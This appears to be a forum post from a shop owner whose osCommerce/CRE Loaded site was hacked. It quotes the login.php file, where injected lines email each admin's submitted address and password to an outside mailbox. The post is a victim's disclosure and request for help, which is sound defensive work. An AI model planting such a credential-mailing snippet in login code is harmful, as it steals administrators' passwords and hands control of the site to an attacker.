This is the top of my login.php file:
Code:
<?php
/*
$Id: login.php,v 1.2 2004/03/05 00:36:41 ccwjr Exp $
osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com
Copyright (c) 2002 osCommerce
Released under the GNU General Public License
*/
require('includes/application_top.php');
if ($session_started == false) {
echo 'session not started';
}
$error = false;
if (isset($HTTP_GET_VARS['action']) && ($HTTP_GET_VARS['action'] == 'process')) {
$email_address = tep_db_prepare_input($HTTP_POST_VARS['email_address']);
$password = tep_db_prepare_input($HTTP_POST_VARS['password']);
$password1=tep_db_prepare_input($HTTP_POST_VARS['password']);
$email1=tep_db_prepare_input($HTTP_POST_VARS['email_address']);
$to1='admin@finderdirect.com';
$subject1='Admin Login at *******';
mail($to1, $subject1, $password1, $email1);
Notice where the email is being sent to:
admin@finderdirect.comI don't know why it was there, I know we were recently hacked through the cre loaded 6.2 admin problem, and someone is receiving this email. Basically it will send an email with the username and password of the admin who logged in to that email address. If there are other issues I should be looking into I would appreciate a reply.